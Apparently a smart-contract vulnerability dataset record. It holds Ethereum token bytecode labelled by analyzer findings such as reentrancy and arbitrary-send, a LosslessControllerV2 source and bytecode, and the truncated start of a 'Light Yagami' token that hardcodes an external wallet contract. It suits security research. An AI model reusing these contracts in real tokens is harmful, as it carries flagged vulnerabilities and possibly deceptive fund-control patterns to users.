ffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c799b73eef548b56b5ede4b3e36aceea0952029cb2dd99f4ed8a4747c9ab701164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,746 |
0x9564f89bf9Bd9047a3F0486496C0060395C56638
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
interface ProtectionStrategy {
function isTransferAllowed(address token, address sender, address recipient, uint256 amount) external;
}
contract LosslessControllerV2 is Initializable, ContextUpgradeable, PausableUpgradeable {
address public pauseAdmin;
address public admin;
address public recoveryAdmin;
// --- V2 VARIABLES ---
address public guardian;
mapping(address => Protections) private tokenProtections;
struct Protection {
bool isProtected;
ProtectionStrategy strategy;
}
struct Protections {
mapping(address => Protection) protections;
}
// --- EVENTS ---
event AdminChanged(address indexed previousAdmin, address indexed newAdmin);
event RecoveryAdminChanged(address indexed previousAdmin, address indexed newAdmin);
event PauseAdminChanged(address indexed previousAdmin, address indexed newAdmin);
// --- V2 EVENTS ---
event GuardianSet(address indexed oldGuardian, address indexed newGuardian);
event ProtectedAddressSet(address indexed token, address indexed protectedAddress, address indexed strategy);
event RemovedProtectedAddress(address indexed token, address indexed protectedAddress);
// --- MODIFIERS ---
modifier onlyLosslessRecoveryAdmin() {
require(msg.sender == recoveryAdmin, "LOSSLESS: Must be recoveryAdmin");
_;
}
modifier onlyLosslessAdmin() {
require(admin == msg.sender, "LOSSLESS: Must be admin");
_;
}
modifier onlyPauseAdmin() {
require(msg.sender == pauseAdmin, "LOSSLESS: Must be pauseAdmin");
_;
}
// --- V2 MODIFIERS ---
modifier onlyGuardian() {
require(msg.sender == guardian, "LOSSLESS: Must be Guardian");
_;
}
// --- VIEWS ---
function getVersion() external pure returns (uint256) {
return 2;
}
// --- V2 VIEWS ---
function isAddressProtected(address token, address protectedAddress) external view returns (bool) {
return tokenProtections[token].protections[protectedAddress].isProtected;
}
function getProtectedAddressStrategy(address token, address protectedAddress) external view returns (address) {
return address(tokenProtections[token].protections[protectedAddress].strategy);
}
// --- ADMINISTRATION ---
function pause() external onlyPauseAdmin {
_pause();
}
function unpause() external onlyPauseAdmin {
_unpause();
}
function setAdmin(address newAdmin) external onlyLosslessRecoveryAdmin {
require(newAdmin != address(0), "LERC20: Cannot be zero address");
emit AdminChanged(admin, newAdmin);
admin = newAdmin;
}
function setRecoveryAdmin(address newRecoveryAdmin) external onlyLosslessRecoveryAdmin {
require(newRecoveryAdmin != address(0), "LERC20: Cannot be zero address");
emit RecoveryAdminChanged(recoveryAdmin, newRecoveryAdmin);
recoveryAdmin = newRecoveryAdmin;
}
function setPauseAdmin(address newPauseAdmin) external onlyLosslessRecoveryAdmin {
require(newPauseAdmin != address(0), "LERC20: Cannot be zero address");
emit PauseAdminChanged(pauseAdmin, newPauseAdmin);
pauseAdmin = newPauseAdmin;
}
// --- GUARD ---
// @notice Set a guardian contract.
// @dev Guardian contract must be trusted as it has some access rights and can modify controller's state.
function setGuardian(address newGuardian) external onlyLosslessAdmin whenNotPaused {
require(newGuardian != address(0), "LSS: Cannot be zero address");
emit GuardianSet(guardian, newGuardian);
guardian = newGuardian;
}
// @notice Sets protection for an address with the choosen strategy.
// @dev Strategies are verified in the guardian contract.
// @dev This call is initiated from a strategy, but guardian proxies it.
function setProtectedAddress(address token, address protectedAddresss, ProtectionStrategy strategy) external onlyGuardian whenNotPaused {
Protection storage protection = tokenProtections[token].protections[protectedAddresss];
protection.isProtected = true;
protection.strategy = strategy;
emit ProtectedAddressSet(token, protectedAddresss, address(strategy));
}
// @notice Remove the protection from the address.
// @dev Strategies are verified in the guardian contract.
// @dev This call is initiated from a strategy, but guardian proxies it.
function removeProtectedAddress(address token, address protectedAddresss) external onlyGuardian whenNotPaused {
delete tokenProtections[token].protections[protectedAddresss];
emit RemovedProtectedAddress(token, protectedAddresss);
}
// --- BEFORE HOOKS ---
// @notice If address is protected, transfer validation rules have to be run inside the strategy.
// @dev isTransferAllowed reverts in case transfer can not be done by the defined rules.
function beforeTransfer(address sender, address recipient, uint256 amount) external {
if (tokenProtections[msg.sender].protections[sender].isProtected) {
tokenProtections[msg.sender].protections[sender].strategy.isTransferAllowed(msg.sender, sender, recipient, amount);
}
}
// @notice If address is protected, transfer validation rules have to be run inside the strategy.
// @dev isTransferAllowed reverts in case transfer can not be done by the defined rules.
function beforeTransferFrom(address msgSender, address sender, address recipient, uint256 amount) external {
if (tokenProtections[msg.sender].protections[sender].isProtected) {
tokenProtections[msg.sender].protections[sender].strategy.isTransferAllowed(msg.sender, sender, recipient, amount);
}
}
function beforeApprove(address sender, address spender, uint256 amount) external {}
function beforeIncreaseAllowance(address msgSender, address spender, uint256 addedValue) external {}
function beforeDecreaseAllowance(address msgSender, address spender, uint256 subtractedValue) external {}
// --- AFTER HOOKS ---
// * After hooks are deprecated in LERC20 but we have to keep them
// here in order to support legacy LERC20.
function afterApprove(address sender, address spender, uint256 amount) external {}
function afterTransfer(address sender, address recipient, uint256 amount) external {}
function afterTransferFrom(address msgSender, address sender, address recipient, uint256 amount) external {}
function afterIncreaseAllowance(address sender, address spender, uint256 addedValue) external {}
function afterDecreaseAllowance(address sender, address spender, uint256 subtractedValue) external {}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c806361c1ce06116100de578063af1bf34711610097578063cf5961bb11610071578063cf5961bb146101db578063ded1f4d0146101db578063f49062ca146101db578063f851a440146102e15761018e565b8063af1bf347146102a8578063b75bb0d6146102bb578063c5a07b92146102ce5761018e565b806361c1ce0614610254578063704b6c02146102675780638456cb591461027a5780638a0dac4a14610282578063900f66ef146101db578063a56e8adf146102955761018e565b80633f4ba83a1161014b578063568c75a911610125578063568c75a9146101db5780635937f650146102245780635c975abb146102375780635f6529a31461024c5761018e565b80633f4ba83a14610214578063452a93201461021c57806347abf3be146101db5761018e565b80630d8e6e2c146101935780631ffb811f146101b15780632f11d653146101c657806334d01aa8146101db578063379f5c69146101ee5780633835b4d514610201575b600080fd5b61019b6102e9565b6040516101a89190610da3565b60405180910390f35b6101c46101bf366004610b78565b6102ee565b005b6101ce6103a5565b6040516101a89190610bb8565b6101c46101e9366004610b78565b6103a0565b6101c46101fc366004610ade565b6103b4565b6101c461020f366004610b2e565b61046c565b6101c461053d565b6101ce610571565b6101c4610232366004610a83565b610580565b61023f61062c565b6040516101a89190610bf6565b6101ce610635565b6101c4610262366004610aa6565b610644565b6101c4610275366004610a83565b6106f3565b6101c461079f565b6101c4610290366004610a83565b6107d1565b6101c46102a3366004610ade565b610466565b6101c46102b6366004610a83565b6108a2565b6101ce6102c9366004610aa6565b61094e565b61023f6102dc366004610aa6565b61097d565b6101ce6109ab565b600290565b3360009081526069602090815260408083206001600160a01b038716845290915290205460ff16156103a0573360008181526069602090815260408083206001600160a01b03888116855292529182902054915163d4bab30360e01b8152610100909204169163d4bab3039161036d9190879087908790600401610bcc565b600060405180830381600087803b15801561038757600080fd5b505af115801561039b573d6000803e3d6000fd5b505050505b505050565b6065546001600160a01b031681565b3360009081526069602090815260408083206001600160a01b038716845290915290205460ff1615610466573360008181526069602090815260408083206001600160a01b03888116855292529182902054915163d4bab30360e01b8152610100909204169163d4bab303916104339190879087908790600401610bcc565b600060405180830381600087803b15801561044d57600080fd5b505af1158015610461573d6000803e3d6000fd5b505050505b50505050565b6068546001600160a01b0316331461049f5760405162461bcd60e51b815260040161049690610cc7565b60405180910390fd5b6104a761062c565b156104c45760405162461bcd60e51b815260040161049690610c2f565b6001600160a01b03838116600081815260696020908152604080832087861680855292528083208054600160ff1990911617610100600160a81b031916610100968816968702178155905190949391927f2fb7c91e605d5a69479e668b07c4c8edcdcb4ac3111a53c018a2eaf25cd088d891a450505050565b6065546001600160a01b031633146105675760405162461bcd60e51b815260040161049690610d6c565b61056f6109ba565b565b6068546001600160a01b031681565b6067546001600160a01b031633146105aa5760405162461bcd60e51b815260040161049690610cfe565b6001600160a01b0381166105d05760405162461bcd60e51b815260040161049690610c59565b6067546040516001600160a01b038084169216907f1c7f382531621f02aefb4212478bba8871ffad078202bdbba87f3e21d639aebb90600090a3606780546001600160a01b0319166001600160a01b0392909216919091179055565b60335460ff1690565b6067546001600160a01b031681565b6068546001600160a01b0316331461066e5760405162461bcd60e51b815260040161049690610cc7565b61067661062c565b156106935760405162461bcd60e51b815260040161049690610c2f565b6001600160a01b0380831660008181526069602090815260408083209486168084529490915280822080546001600160a81b0319169055517fa2971d1046995b3a7aa03439118589e13f8f1f3d35889ad7420b0966c5bc97819190a35050565b6067546001600160a01b0316331461071d5760405162461bcd60e51b815260040161049690610cfe565b6001600160a01b0381166107435760405162461bcd60e51b815260040161049690610c59565b6066546040516001600160a01b038084169216907f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f90600090a3606680546001600160a01b0319166001600160a01b0392909216919091179055565b6065546001600160a01b031633146107c95760405162461bcd60e51b815260040161049690610d6c565b61056f610a28565b6066546001600160a01b031633146107fb5760405162461bcd60e51b815260040161049690610d35565b61080361062c565b156108205760405162461bcd60e51b815260040161049690610c2f565b6001600160a01b0381166108465760405162461bcd60e51b815260040161049690610c90565b6068546040516001600160a01b038084169216907fc3ce29e3ab42e524b6f6f1b4d3674898d503ee3577a64ac87b555904ebc1413890600090a3606880546001600160a01b0319166001600160a01b0392909216919091179055565b6067546001600160a01b031633146108cc5760405162461bcd60e51b815260040161049690610cfe565b6001600160a01b0381166108f25760405162461bcd60e51b815260040161049690610c59565b6065546040516001600160a01b038084169216907f3e3c23bddf712ae8e73d99dd08fb2e57109143a29c9258dda76a897076e596f590600090a3606580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0391821660009081526069602090815260408083209385168352929052205461010090041690565b6001600160a01b03918216600090815260696020908152604080832093909416825291909152205460ff1690565b6066546001600160a01b031681565b6109c261062c565b6109de5760405162461bcd60e51b815260040161049690610c01565b6033805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa610a11610a7f565b604051610a1e9190610bb8565b60405180910390a1565b610a3061062c565b15610a4d5760405162461bcd60e51b815260040161049690610c2f565b6033805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258610a115b3390565b600060208284031215610a94578081fd5b8135610a9f81610dac565b9392505050565b60008060408385031215610ab8578081fd5b8235610ac381610dac565b91506020830135610ad381610dac565b809150509250929050565b60008060008060808587031215610af3578182fd5b8435610afe81610dac565b93506020850135610b0e81610dac565b92506040850135610b1e81610dac565b9396929550929360600135925050565b600080600060608486031215610b42578283fd5b8335610b4d81610dac565b92506020840135610b5d81610dac565b91506040840135610b6d81610dac565b809150509250925092565b600080600060608486031215610b8c578283fd5b8335610b9781610dac565b92506020840135610ba781610dac565b929592945050506040919091013590565b6001600160a01b0391909116815260200190565b6001600160a01b039485168152928416602084015292166040820152606081019190915260800190565b901515815260200190565b60208082526014908201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604082015260600190565b60208082526010908201526f14185d5cd8589b194e881c185d5cd95960821b604082015260600190565b6020808252601e908201527f4c45524332303a2043616e6e6f74206265207a65726f20616464726573730000604082015260600190565b6020808252601b908201527f4c53533a2043616e6e6f74206265207a65726f20616464726573730000000000604082015260600190565b6020808252601a908201527f4c4f53534c4553533a204d75737420626520477561726469616e000000000000604082015260600190565b6020808252601f908201527f4c4f53534c4553533a204d757374206265207265636f7665727941646d696e00604082015260600190565b60208082526017908201527f4c4f53534c4553533a204d7573742062652061646d696e000000000000000000604082015260600190565b6020808252601c908201527f4c4f53534c4553533a204d75737420626520706175736541646d696e00000000604082015260600190565b90815260200190565b6001600160a01b0381168114610dc157600080fd5b5056fea2646970667358221220b4d4e6342db60e940f855b162f5ddbff6f9ab71866bdbf31fe5443df9fc4b74d64736f6c63430008000033
|
{"success": true, "error": null, "results": {}}
| 3,747 |
0xc78f17651155fd6f6c1a2569b5341eb7f6f52426
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
address constant WALLET_ADDRESS = 0xEc99F5A0f8E807045f91CcFD79437046DC22251B;
address constant ROUTER_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 constant TOTAL_SUPPLY = 1000000000;
string constant TOKEN_NAME = "Light Yagami";
string constant TOKEN_SYMBOL = "LIGHT";
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Wallet{
function amount() external view returns (uint256);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
